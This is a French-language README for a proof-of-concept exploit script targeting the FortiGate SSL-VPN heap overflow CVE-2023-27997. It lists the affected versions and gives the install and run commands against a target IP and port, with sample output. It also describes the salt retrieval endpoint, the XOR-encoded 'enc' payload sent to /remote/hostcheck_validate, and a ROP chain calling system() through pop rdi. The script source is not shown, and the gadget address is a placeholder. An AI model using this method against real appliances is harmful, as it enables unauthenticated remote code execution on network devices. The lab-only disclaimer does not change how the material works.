
FortiGate SSL-VPN CVE-2023-27997 - Script PoC d'exploit avec chaîne ROP
Script PoC d'exploitation FortiGate SSL‑VPN CVE‑2023‑27997 avec chaîne ROP
fgt-cve-2023-27997-exploit.py est un script d'exploitation Proof‑of‑Concept (PoC) pour la vulnérabilité critique CVE‑2023‑27997 découverte sur les appareils Fortinet FortiGate.
La vulnérabilité provient d'un débordement de tampon basé sur le tas (heap buffer overflow) dans l'interface SSL‑VPN de FortiOS, permettant l'exécution de code à distance (RCE) sans authentification.
Étapes d'exécution du script :
/remote/hostcheck_validate.Attention : Ce script ne doit être utilisé que dans des environnements de test autorisés ou en laboratoire.
| Produit | Versions |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | Versions concernées |
pip3 install -r requirements.txt
Contenu de requirements.txt :
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Exemple :
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| Argument | Description |
|---|---|
<TARGET_IP> | Adresse IP de la cible FortiGate |
<TARGET_PORT> | Port SSL‑VPN (par défaut : 443 ou 10443) |
[*] Démarrage de l'exploit Ping de la chaîne ROP CVE-2023-27997 sur FortiOS 7.0.5...
[+] Salt reçu : 749a2b77
[+] Paramètre Enc créé (1024 caractères)
[!] 500 Erreur Interne du Serveur - Débordement mémoire ou crash possible !
/remote/info --> salt récupéré
/remote/hostcheck_validate?enc=<payload> --> déclenche le débordement de tampon
enc est chiffré avec le flux XOR généré à partir de la combinaison de salt + seed.| Étape | Gadget | Description |
|---|---|---|
| 1 | pop rdi ; ret | Charge l'adresse de la commande dans RDI |
| 2 | system@plt | La commande est exécutée |
| – | 0xdeadbeefdeadbeef | Placeholder ; l'adresse réelle doit être déterminée dans l'environnement de laboratoire |
Ce PoC est conçu pour fonctionner sans heap grooming dans un environnement de test contrôlé.